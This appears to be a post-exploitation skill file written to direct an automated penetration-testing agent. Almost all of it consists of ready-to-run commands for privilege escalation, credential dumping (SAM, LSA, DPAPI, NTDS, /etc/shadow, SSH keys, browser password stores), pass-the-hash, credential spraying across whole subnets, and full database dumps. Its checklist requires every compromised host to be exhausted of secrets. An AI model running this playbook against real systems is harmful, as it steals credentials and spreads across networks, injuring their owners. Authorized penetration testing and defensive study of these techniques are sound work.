Post Exploit

---
name: post-exploit-phase
tags: [post_exploit]
description: Post-exploitation phase — privilege escalation, lateral movement, credential dumping, data discovery. Use when the current phase is POST_EXPLOIT.
---

# Post-Exploitation Checklist

## Linux Privilege Escalation
```bash
# Quick wins
sudo -l                                    # sudo permissions
find / -perm -4000 -type f 2>/dev/null     # SUID binaries
find / -perm -2000 -type f 2>/dev/null     # SGID binaries
cat /etc/crontab; ls -la /etc/cron.*       # cron jobs
ls -la /etc/passwd /etc/shadow             # readable shadow?
uname -a                                   # kernel version → kernel exploits
cat /proc/version

# Credentials in files
grep -rli 'password\|passwd\|secret\|key' /etc/ /opt/ /var/ /home/ 2>/dev/null | head -30
find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" -o -name ".env" 2>/dev/null | head -20
cat /home/*/.bash_history 2>/dev/null

# Network info
ss -tlnp
cat /etc/hosts
arp -a

# Automated
# Upload and run linpeas.sh or linux-exploit-suggester
```

## Windows Privilege Escalation
```bash
whoami /priv                               # token privileges
whoami /groups                             # group membership
systeminfo                                 # OS version, hotfixes
net user; net localgroup administrators
cmdkey /list                               # stored credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" # autologon

# Service misconfigs
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows"
icacls "<service_path>"                    # writable service binary?

# Unquoted service paths
wmic service get name,displayname,pathname | findstr /i /v "C:\Windows" | findstr /i /v """

# Automated: winPEAS, PowerUp, Seatbelt
```

## Credential Dumping

### Windows — netexec/crackmapexec (preferred, run ALL three in order)
```bash
# 1. SAM — local account hashes (always works with local admin)
netexec smb HOST -u USER -p PASS --sam

# 2. LSA — service passwords, cached domain creds, machine account, DPAPI system keys
netexec smb HOST -u USER -p PASS --lsa

# 3. DPAPI — FULL user secrets dump: browser passwords, vault, cookies, Credential Manager
# CRITICAL: bare --dpapi = EVERYTHING. Do NOT add subcommands (cookies/nosystem/wifi)
# Adding subcommands LIMITS the output. Always start with bare --dpapi.
netexec smb HOST -u USER -p PASS --dpapi

# 4. Domain Controller only — ALL domain hashes from NTDS.dit
netexec smb DC -u USER -p PASS --ntds

# 5. Fallback — SAM+LSA+NTDS in one shot via impacket
secretsdump.py DOMAIN/USER:PASS@HOST
```

### Linux
```bash
cat /etc/shadow                            # if readable
find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null  # SSH keys
cat /home/*/.ssh/authorized_keys 2>/dev/null
# Browser profiles
find /home -path "*/.mozilla/firefox/*/logins.json" 2>/dev/null
find /home -path "*/.config/google-chrome/*/Login Data" 2>/dev/null
```

## Lateral Movement
```bash
# With found credentials
crackmapexec smb <subnet>/24 -u <user> -p '<password>'
crackmapexec winrm <subnet>/24 -u <user> -p '<password>'

# Pass-the-hash
impacket-psexec -hashes :<ntlm_hash> <user>@<target>
evil-winrm -i <target> -u <user> -H <ntlm_hash>

# SSH key reuse
ssh -i found_key <user>@<other_host>
```

## Data Discovery
```bash
# Sensitive files
find / -name "*.sql" -o -name "*.db" -o -name "*.sqlite" 2>/dev/null
find / -name "*.kdbx" -o -name "*.key" -o -name "*.pem" 2>/dev/null
find / -name "flag*" -o -name "proof*" -o -name "secret*" 2>/dev/null

# Database extraction
mysqldump -u <user> -p<pass> --all-databases > dump.sql
pg_dumpall -U <user> > dump.sql
```

## Host Exhaustion Checklist (EVERY compromised host must pass this)
Before considering a host "done", verify ALL of these were attempted:
- [ ] Privileges checked (whoami /priv OR sudo -l)
- [ ] Privesc attempted if path exists (Potato, SUID, kernel, cron)
- [ ] Credentials dumped (LSASS/SAM/shadow/SSH keys/config files/history)
- [ ] Found creds sprayed across ALL known hosts
- [ ] Network config enumerated (arp -a, route print, netstat, internal DNS)
- [ ] Internal services discovered (ss -tlnp / netstat -an) — may reveal services not visible externally
- [ ] Stored credentials checked (autologon, cmdkey, env vars, browser, config files)
- [ ] Neighboring hosts/subnets identified from network config

## Phase Completion Criteria
Move to REPORTING when:
- Privilege escalation attempted on ALL accessed hosts (not just some)
- Credentials harvested from ALL accessed hosts and sprayed across ALL services
- Lateral movement paths explored from every pivot point
- Sensitive data identified
- All access levels documented
- No compromised host left un-post-exploited